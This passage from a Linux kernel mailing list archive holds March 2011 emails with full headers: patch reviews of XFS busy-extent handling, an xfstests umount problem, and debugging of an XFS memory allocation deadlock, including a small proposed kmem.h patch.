:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=W2UtgubePfIxQwVbcYflLMc48uCN7NSUBHhbKVwqGdA=; b=MCVWwvB5CQnZVXYdQULw+G+ovMtgOcJ+J1F1r3Dqe2tV03MSjqnbR2eHYc5ebzzYg+ o+pM/mOOqVRZCmGiGaitG2XeA//SpN0fBF0GaTeSWIbuZmDPQzG7KQW2BFpXw1rkSvN4 /mAh7LLY0PN4Pb6ob/HMgZYMr2EDdXZVOpvGA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=dN+4BgEE42YRy5mH+61WWsQP3RFb2YMWFJq725wvQ7/lyVWOt4YOn7pQrXHN7QgdTu AU52GO/ruV+e0BIxJlL4dGRoK1hht9k2QaINNIAwiw+6Ay1IF+yXcebVldNX4m5IeqvG QB/o1ob1l1JFIeO+iEbUXRR3Be8jLRoNCII1o= MIME-Version: 1.0 Received: by 10.224.113.142 with SMTP id a14mr1231076qaq.269.1301389261299; Tue, 29 Mar 2011 02:01:01 -0700 (PDT) Received: by 10.229.78.160 with HTTP; Tue, 29 Mar 2011 02:01:01 -0700 (PDT) In-Reply-To: <4D8A1594.5060505@redhat.com> References: <4D8A0A70.9030201@redhat.com> <4D8A1594.5060505@redhat.com> Date: Tue, 29 Mar 2011 11:01:01 +0200 Message-ID: X-ASG-Orig-Subj: Re: xfstests: failure to umount ext4 Subject: Re: xfstests: failure to umount ext4 From: Amir Goldstein To: Eric Sandeen Cc: XFS , Ext4 Developers List Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail-qw0-f53.google.com[209.85.216.53] X-Barracuda-Start-Time: 1301389262 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59295 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 23, 2011 at 5:45 PM, Eric Sandeen wrote: > On 3/23/11 10:33 AM, Amir Goldstein wrote: >> On Wed, Mar 23, 2011 at 4:57 PM, Eric Sandeen wrote= : >>> On 3/23/11 9:36 AM, Amir Goldstein wrote: >>>> On Wed, Mar 23, 2011 at 4:03 PM, Amir Goldstein w= rote: >>>>> >>>>> I've been running xfstests on ext4 and I always get annoying failures= to umount: >>>>> >>>>> 213 8s ... 31s >>>>> umount: /mnt/test/ext4: device is busy. >>>>> =A0 =A0 =A0 =A0(In some cases useful info about processes that use >>>>> =A0 =A0 =A0 =A0 the device is found by lsof(8) or fuser(1)) >>>>> >>>>> post 198 mostly fails to umount as well. >>>>> and post 124 always fails to umount. USE_REMOUNT=3D1 fixes (bypasses) the problem for non scratch tests, so I'm good with it for now :-) Amir. From aelder@sgi.com Tue Mar 29 14:01:25 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2TJ1O00243772 for ; Tue, 29 Mar 2011 14:01:24 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay2.corp.sgi.com (Postfix) with ESMTP id E883B3040CA; Tue, 29 Mar 2011 12:04:32 -0700 (PDT) Received: from [127.0.0.1] ([198.149.20.12]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 29 Mar 2011 14:04:12 -0500 Subject: Re: [PATCH 1/5] xfs: optimize AGFL refills From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110328210914.594997356@bombadil.infradead.org> References: <20110328210614.832613417@bombadil.infradead.org> <20110328210914.594997356@bombadil.infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Tue, 29 Mar 2011 14:04:11 -0500 Message-ID: <1301425451.3026.243.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 29 Mar 2011 19:04:12.0190 (UTC) FILETIME=[1709DBE0:01CBEE44] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, 2011-03-28 at 17:06 -0400, Christoph Hellwig wrote: > While we need to make sure we do not reuse busy extents, there is no need > to force out busy extents when moving them between the AGFL and the > freespace btree as we still take care of that when doing the real allocation. > > To avoid the log force when just moving extents from the different free > space tracking structures, move the busy search out of > xfs_alloc_get_freelist into the callers that need it, and move the busy > list insert from xfs_free_ag_extent which is used both by AGFL refills > and real allocation to xfs_free_extent, which is only used by the latter. > > Signed-off-by: Christoph Hellwig Looks good. Reviewed-by: Alex Elder From aelder@sgi.com Tue Mar 29 14:01:25 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2TJ1Oln243776 for ; Tue, 29 Mar 2011 14:01:25 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0B2743040BC; Tue, 29 Mar 2011 12:04:36 -0700 (PDT) Received: from [127.0.0.1] ([198.149.20.12]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 29 Mar 2011 14:04:28 -0500 Subject: Re: [PATCH 4/5] xfs: allow reusing busy extents where safe From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110328210915.214513168@bombadil.infradead.org> References: <20110328210614.832613417@bombadil.infradead.org> <20110328210915.214513168@bombadil.infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Tue, 29 Mar 2011 14:04:28 -0500 Message-ID: <1301425468.3026.249.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 29 Mar 2011 19:04:28.0659 (UTC) FILETIME=[20DAD430:01CBEE44] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, 2011-03-28 at 17:06 -0400, Christoph Hellwig wrote: > Allow reusing any busy extent for metadata allocations, and reusing busy > userdata extents for userdata allocations. Most of the complexity is > propagating the userdata information from the XFS_BMAPI_METADATA flag > to xfs_bunmapi into the low-level extent freeing routines. After that > we can just track what type of busy extent we have and treat it accordingly. > > Signed-off-by: Christoph Hellwig The use of an enum value returned from xfs_alloc_busy_update_extent() is a good improvement. I'll issue the caveat here that I did not look through it this time as carefully as the first time. My main concern was about the validity of reusing busy user data extents for user data, and as before I'll say I accept that it's OK, but I haven't worked through in my own mind that it is indeed safe. If I find the time to do it I'll look this one over again to for reassurance... But aside from that, it looks good to me. Reviewed-by: Alex Elder From aelder@sgi.com Tue Mar 29 14:01:25 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2TJ1Onv243773 for ; Tue, 29 Mar 2011 14:01:24 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay2.corp.sgi.com (Postfix) with ESMTP id F01CE3040BA; Tue, 29 Mar 2011 12:04:35 -0700 (PDT) Received: from [127.0.0.1] ([198.149.20.12]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 29 Mar 2011 14:04:17 -0500 Subject: Re: [PATCH 2/5] xfs: do not immediately reuse busy extent ranges From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110328210914.791205854@bombadil.infradead.org> References: <20110328210614.832613417@bombadil.infradead.org> <20110328210914.791205854@bombadil.infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Tue, 29 Mar 2011 14:04:16 -0500 Message-ID: <1301425456.3026.244.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 29 Mar 2011 19:04:17.0440 (UTC) FILETIME=[1A2AF200:01CBEE44] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, 2011-03-28 at 17:06 -0400, Christoph Hellwig wrote: > Every time we reallocate a busy extent, we cause a synchronous log force > to occur to ensure the freeing transaction is on disk before we continue > and use the newly allocated extent. This is extremely sub-optimal as we > have to mark every transaction with blocks that get reused as synchronous. > > Instead of searching the busy extent list after deciding on the extent to > allocate, check each candidate extent during the allocation decisions as > to whether they are in the busy list. If they are in the busy list, we > trim the busy range out of the extent we have found and determine if that > trimmed range is still OK for allocation. In many cases, this check can > be incorporated into the allocation extent alignment code which already > does trimming of the found extent before determining if it is a valid > candidate for allocation. > > Based on two earlier patches from Dave Chinner. > > Signed-off-by: Christoph Hellwig Looks good. Reviewed-by: Alex Elder From aelder@sgi.com Tue Mar 29 14:01:28 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2TJ1SJa243815 for ; Tue, 29 Mar 2011 14:01:28 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay2.corp.sgi.com (Postfix) with ESMTP id 12D9C3040BD; Tue, 29 Mar 2011 12:04:36 -0700 (PDT) Received: from [127.0.0.1] ([198.149.20.12]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 29 Mar 2011 14:04:32 -0500 Subject: Re: [PATCH 5/5] xfs: update busy extent tracing From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110328210915.396135841@bombadil.infradead.org> References: <20110328210614.832613417@bombadil.infradead.org> <20110328210915.396135841@bombadil.infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Tue, 29 Mar 2011 14:04:31 -0500 Message-ID: <1301425471.3026.250.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 29 Mar 2011 19:04:32.0253 (UTC) FILETIME=[22FF3AD0:01CBEE44] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, 2011-03-28 at 17:06 -0400, Christoph Hellwig wrote: > Add new tracepoint for the new busy extent handling helpers, and update the > existing ones to use a common class. Also drop the busysearch tracepoint > now that a plain busylist search only happens in a debug assert and the > FITRIM handler. > > Signed-off-by: Christoph Hellwig Looks good. Reviewed-by: Alex Elder From aelder@sgi.com Tue Mar 29 14:01:25 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2TJ1OQ5243774 for ; Tue, 29 Mar 2011 14:01:25 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay2.corp.sgi.com (Postfix) with ESMTP id 03A2C3040BB; Tue, 29 Mar 2011 12:04:36 -0700 (PDT) Received: from [127.0.0.1] ([198.149.20.12]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 29 Mar 2011 14:04:22 -0500 Subject: Re: [PATCH 3/5] xfs: exact busy extent tracking From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110328210914.996696705@bombadil.infradead.org> References: <20110328210614.832613417@bombadil.infradead.org> <20110328210914.996696705@bombadil.infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Tue, 29 Mar 2011 14:04:22 -0500 Message-ID: <1301425462.3026.245.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 29 Mar 2011 19:04:22.0831 (UTC) FILETIME=[1D618BF0:01CBEE44] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, 2011-03-28 at 17:06 -0400, Christoph Hellwig wrote: > Update the extent tree in case we have to reuse a busy extent, so that it > always is kept uptodate. This is done by replacing the busy list searches > with a new xfs_alloc_busy_reuse helper, which updates the busy extent tree > in case of a reuse. Also replace setting transactions to sync with forcing > the log out in case we found a busy extent to reuse. This makes the code a > lot more simple, and is required for discard support later on. While it > will cause performance regressios with just this patch applied, the impact > is more than mitigated by the next patch in the series. > > Signed-off-by: Christoph Hellwig Looks good. xfs_alloc_busy_update_extent() is a better name than xfs_alloc_buisy_try_reuse() was. Reviewed-by: Alex Elder From aelder@sgi.com Tue Mar 29 14:03:37 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2TJ3bm5243925 for ; Tue, 29 Mar 2011 14:03:37 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay1.corp.sgi.com (Postfix) with ESMTP id C27D98F80BE; Tue, 29 Mar 2011 12:06:45 -0700 (PDT) Received: from [127.0.0.1] ([198.149.20.12]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 29 Mar 2011 14:04:36 -0500 Subject: Re: [PATCH 0/5] improved busy extent handling From: Alex Elder Reply-To: aelder@sgi.com To: Christoph Hellwig Cc: xfs@oss.sgi.com In-Reply-To: <20110328210614.832613417@bombadil.infradead.org> References: <20110328210614.832613417@bombadil.infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Tue, 29 Mar 2011 14:04:35 -0500 Message-ID: <1301425475.3026.251.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 29 Mar 2011 19:04:36.0362 (UTC) FILETIME=[257236A0:01CBEE44] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, 2011-03-28 at 17:06 -0400, Christoph Hellwig wrote: > This series optimizes how XFS deals with busy extents. It starts to > track them exactly, and allows reuses where possible (metadata to metadata) > or else tries to avoid busy extents during allocations. This means > we don't have a single log force due to busy extents during either > xfstests, compilebench or postmark on my testsystem, which can easily > be tracked using the new tracepoints added in the last patch. > > This is a repost of the previous series and should address all review > comments. The discard support, which relies on the exact busy extent > tracking has been dropped temporarily until I can fix up some issues > that I found during testing. I've reviewed the series and it looks good to me. Unless someone else has comments that deserve some action I can take these in as-is. I'll wait for a bit though, to let the 2.6.39 merge window settle. I'm still curious what this (clipping busy blocks from consideration when allocating) will do to allocation patterns. Probably not much except in somewhat extreme conditions (when they already won't likely be that good). The "goodness" of allocation patterns are a bit hard to characterize anyway. -Alex From Sean.Noonan@twosigma.com Tue Mar 29 14:03:45 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2TJ3jBx243949 for ; Tue, 29 Mar 2011 14:03:45 -0500 X-ASG-Debug-ID: 1301425615-190b01890000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx5.twosigma.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id AD61E1445549 for ; Tue, 29 Mar 2011 12:06:55 -0700 (PDT) Received: from mx5.twosigma.com (mx5.twosigma.com [208.77.212.35]) by cuda.sgi.com with SMTP id VNN1ir3AlhS0uhOf for ; Tue, 29 Mar 2011 12:06:55 -0700 (PDT) Received: by mx5.twosigma.com (Postfix, from userid 108) id 1B3033DDA52; Tue, 29 Mar 2011 19:06:54 +0000 (UTC) Received: from msxaoa7.twosigma.com (nfw2-1-dmz.twosigma.com [38.117.134.174]) by mx5.twosigma.com (Postfix) with ESMTP id 0E2973DDA2E; Tue, 29 Mar 2011 19:06:08 +0000 (UTC) Received: from msxaoa6.twosigma.com ([fe80::5d02:8f37:f2d4:e384]) by msxaoa7.twosigma.com ([fe80::2874:459a:5356:2ac7%11]) with mapi; Tue, 29 Mar 2011 15:05:30 -0400 From: Sean Noonan To: Sean Noonan , "'Michel Lespinasse'" CC: "'Christoph Hellwig'" , "'linux-kernel@vger.kernel.org'" , Martin Bligh , Trammell Hudson , Christos Zoulas , "'linux-xfs@oss.sgi.com'" , Stephen Degler , "'linux-mm@kvack.org'" Date: Tue, 29 Mar 2011 15:05:28 -0400 X-ASG-Orig-Subj: RE: XFS memory allocation deadlock in 2.6.38 Subject: RE: XFS memory allocation deadlock in 2.6.38 Thread-Topic: XFS memory allocation deadlock in 2.6.38 Thread-Index: AcvtjAU49kGOL4scQ4KHhTRnHL+diAAAO36wAAHX7ZA= Message-ID: <081DDE43F61F3D43929A181B477DCA95639B5359@MSXAOA6.twosigma.com> References: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> In-Reply-To: <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: mx5.twosigma.com[208.77.212.35] X-Barracuda-Start-Time: 1301425615 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0002 1.0000 -2.0199 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.52 X-Barracuda-Spam-Status: No, SCORE=-1.52 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59335 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean >> Could you test if you see the deadlock before >> 5ecfda041e4b4bd858d25bbf5a16c2a6c06d7272 without MAP_POPULATE ? > Built and tested 72ddc8f72270758951ccefb7d190f364d20215ab. > Confirmed that the original bug does not present in this version. > Confirmed that removing MAP_POPULATE does cause the deadlock to occur. git bisect leads to this: bdfb04301fa5fdd95f219539a9a5b9663b1e5fc2 is the first bad commit commit bdfb04301fa5fdd95f219539a9a5b9663b1e5fc2 Author: Christoph Hellwig Date: Wed Jan 20 21:55:30 2010 +0000 xfs: replace KM_LARGE with explicit vmalloc use =20 We use the KM_LARGE flag to make kmem_alloc and friends use vmalloc if necessary. As we only need this for a few boot/mount time allocations just switch to explicit vmalloc calls there. =20 Signed-off-by: Christoph Hellwig Signed-off-by: Alex Elder :040000 040000 1eed68ced17d8794fa842396c01c3b9677c6e709 d462932a318f8c823fa= 2a73156e980a688968cb2 M fs From BATV+0028ef705de7e80be833+2774+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 29 14:21:27 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_63 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2TJLRtl244742 for ; Tue, 29 Mar 2011 14:21:27 -0500 X-ASG-Debug-ID: 1301426677-526500270000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 20C7338A4C8 for ; Tue, 29 Mar 2011 12:24:37 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id h3gXWUWikVgpRyxV for ; Tue, 29 Mar 2011 12:24:37 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q4eWo-00039s-IF; Tue, 29 Mar 2011 19:24:34 +0000 Date: Tue, 29 Mar 2011 15:24:34 -0400 From: "'Christoph Hellwig'" To: Sean Noonan Cc: "'Michel Lespinasse'" , "'Christoph Hellwig'" , "'linux-kernel@vger.kernel.org'" , Martin Bligh , Trammell Hudson , Christos Zoulas , "'linux-xfs@oss.sgi.com'" , Stephen Degler , "'linux-mm@kvack.org'" X-ASG-Orig-Subj: Re: XFS memory allocation deadlock in 2.6.38 Subject: Re: XFS memory allocation deadlock in 2.6.38 Message-ID: <20110329192434.GA10536@infradead.org> References: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5359@MSXAOA6.twosigma.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <081DDE43F61F3D43929A181B477DCA95639B5359@MSXAOA6.twosigma.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301426678 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Can you check if the brute force patch below helps? If it does I still need to refine it a bit, but it could be that we are doing an allocation under an xfs lock that could recurse back into the filesystem. We have a per-process flag to disable that for normal kmalloc allocation, but we lost it for vmalloc in the commit you bisected the regression to. Index: xfs/fs/xfs/linux-2.6/kmem.h =================================================================== --- xfs.orig/fs/xfs/linux-2.6/kmem.h 2011-03-29 21:16:58.039224236 +0200 +++ xfs/fs/xfs/linux-2.6/kmem.h 2011-03-29 21:17:08.368223598 +0200 @@ -63,7 +63,7 @@ static inline void *kmem_zalloc_large(si { void *ptr; - ptr = vmalloc(size); + ptr = __vmalloc(size, GFP_NOFS | __GFP_HIGHMEM, PAGE_KERNEL); if (ptr) memset(ptr, 0, size); return ptr; From hannes@cmpxchg.org Tue Mar 29 14:36:05 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_63 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2TJa5Jj245591 for ; Tue, 29 Mar 2011 14:36:05 -0500 X-ASG-Debug-ID: 1301427555-191602470000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from zene.cmpxchg.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 207BD1446F64 for ; Tue, 29 Mar 2011 12:39:15 -0700 (PDT) Received: from zene.cmpxchg.org (zene.cmpxchg.org [85.214.230.12]) by cuda.sgi.com with ESMTP id VyKSpd3Fx8KtqOAi for ; Tue, 29 Mar 2011 12:39:15 -0700 (PDT) Received: from 178-25-97-198-dynip.superkabel.de ([178.25.97.198] helo=chigurh.home.cmpxchg.org) by zene.cmpxchg.org with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.72) (envelope-from ) id 1Q4ekv-0005Le-1j; Tue, 29 Mar 2011 19:39:09 +0000 Date: Tue, 29 Mar 2011 21:39:07 +0200 From: Johannes Weiner To: "'Christoph Hellwig'" Cc: Sean Noonan , "'Michel Lespinasse'" , "'linux-kernel@vger.kernel.org'" , Martin Bligh , Trammell Hudson , Christos Zoulas , "'linux-xfs@oss.sgi.com'" , Stephen Degler , "'linux-mm@kvack.org'" X-ASG-Orig-Subj: Re: XFS memory allocation deadlock in 2.6.38 Subject: Re: XFS memory allocation deadlock in 2.6.38 Message-ID: <20110329193907.GK2310@cmpxchg.org> References: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5359@MSXAOA6.twosigma.com> <20110329192434.GA10536@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110329192434.GA10536@infradead.org> X-Barracuda-Connect: zene.cmpxchg.org[85.214.230.12] X-Barracuda-Start-Time: 1301427556 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-ASG-Whitelist: BODY (http://marc\.info/\?) X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 29, 2011 at 03:24:34PM -0400, 'Christoph Hellwig' wrote: > Can you check if the brute force patch below helps? If it does I > still need to refine it a bit, but it could be that we are doing > an allocation under an xfs lock that could recurse back into the > filesystem. We have a per-process flag to disable that for normal > kmalloc allocation, but we lost it for vmalloc in the commit you > bisected the regression to. > > > Index: xfs/fs/xfs/linux-2.6/kmem.h > =================================================================== > --- xfs.orig/fs/xfs/linux-2.6/kmem.h 2011-03-29 21:16:58.039224236 +0200 > +++ xfs/fs/xfs/linux-2.6/kmem.h 2011-03-29 21:17:08.368223598 +0200 > @@ -63,7 +63,7 @@ static inline void *kmem_zalloc_large(si > { > void *ptr; > > - ptr = vmalloc(size); > + ptr = __vmalloc(size, GFP_NOFS | __GFP_HIGHMEM, PAGE_KERNEL); > if (ptr) > memset(ptr, 0, size); > return ptr; Note that vmalloc is currently broken in that it does a GFP_KERNEL allocation if it has to allocate page table pages, even when invoked with GFP_NOFS: http://marc.info/?l=linux-mm&m=128942194520631&w=4 From BATV+0028ef705de7e80be833+2774+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 29 14:40:18 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_63 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP 